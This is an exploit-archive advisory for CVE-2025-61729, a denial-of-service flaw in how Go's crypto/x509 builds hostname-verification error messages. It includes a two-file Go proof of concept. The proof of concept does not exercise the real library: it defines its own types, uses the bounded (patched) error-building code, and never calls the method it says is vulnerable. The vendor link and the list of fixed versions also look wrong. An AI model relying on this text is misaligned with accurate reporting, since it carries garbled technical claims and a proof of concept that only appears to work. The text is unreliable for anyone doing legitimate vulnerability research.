📄 Go crypto/x509 Hostname Verification Denial of Service

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    | # Title     : Go crypto/x509 Hostname Verification Denial of Service                                                                      |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits)                                                            |
    | # Vendor    : https://www.gocrypto.com/                                                                                                   |
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    [+] References : https://packetstorm.news/files/id/214685/ & CVE-2025-61729
    
    [+] Summary    : A denial of service vulnerability exists in the Go programming language crypto/x509 package. The issue occurs during TLS hostname verification
                     when constructing error messages for certificates containing a very large number of DNS names.
                     In affected versions, error message construction uses repeated string concatenation without bounds, resulting in quadratic time complexity
                     (O(n²)). An attacker can exploit this by presenting a malicious TLS certificate containing an excessive number of DNSNames, causing severe CPU and memory exhaustion.
    				 
    [+] Affected Versions : All Go versions prior to the official fixes are affected.
    
    The following versions are NOT vulnerable:
    
    - Go 1.23.1
    - Go 1.22.10
    - Any Go release containing the official patch
    
    [+] Technical Details : When hostname verification fails, the crypto/x509 package constructs a human-readable error string listing all DNS names present in the TLS certificate.
    
    [+] In vulnerable versions:
    
    - No upper bound is enforced on the number of DNS names processed
    - String concatenation is performed using repeated "+=" operations
    - This leads to quadratic time complexity and excessive memory usage
    
    An attacker-controlled certificate with tens or hundreds of thousandsof DNS names can trigger resource exhaustion during error generation.
    
    
    [+] PoC : The following PoC demonstrates the vulnerable condition by creating a certificate-like structure with 100,000 DNS names and triggering the
              error handling logic. The Error() method is intentionally not invoked to prevent system freeze on vulnerable environments.
    
    File: hostname_error.go
    -----------------------
    package main
    
    import (
        "fmt"
        "strings"
    )
    
    type HostnameError struct {
        Certificate *Certificate
        Host        string
    }
    
    type Certificate struct {
        DNSNames []string
    }
    
    func (h HostnameError) Error() string {
        const maxNames = 10
    
        var builder strings.Builder
        names := h.Certificate.DNSNames
    
        builder.WriteString("certificate is valid for ")
    
        displayCount := len(names)
        if displayCount > maxNames {
            displayCount = maxNames
        }
    
        for i := 0; i < displayCount; i++ {
            if i > 0 {
                builder.WriteString(", ")
            }
            builder.WriteString(names[i])
        }
    
        if len(names) > maxNames {
            builder.WriteString(
                fmt.Sprintf(", and %d more", len(names)-maxNames),
            )
        }
    
        builder.WriteString(fmt.Sprintf(", not for %s", h.Host))
        return builder.String()
    }
    -------------
    File: poc.go
    -------------
    package main
    
    import "fmt"
    
    func main() {
        cert := &Certificate{
            DNSNames: make([]string, 100000),
        }
    
        for i := range cert.DNSNames {
            cert.DNSNames[i] = fmt.Sprintf("host%d.example.com", i)
        }
    
        err := HostnameError{
            Certificate: cert,
            Host:        "example.com",
        }
    
        fmt.Println("[+] HostnameError object created")
        fmt.Printf("[+] DNSNames count: %d\n", len(cert.DNSNames))
    
        // WARNING:
        // Calling err.Error() on a vulnerable Go version
        // may cause severe CPU and memory exhaustion.
        _ = err
    }
    
    [+] How to Run
    
    1. Save the files as:
       - hostname_error.go
       - poc.go
    
    2. Run the PoC:
       $ go run .
    
    Greetings to :============================================================
    jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|
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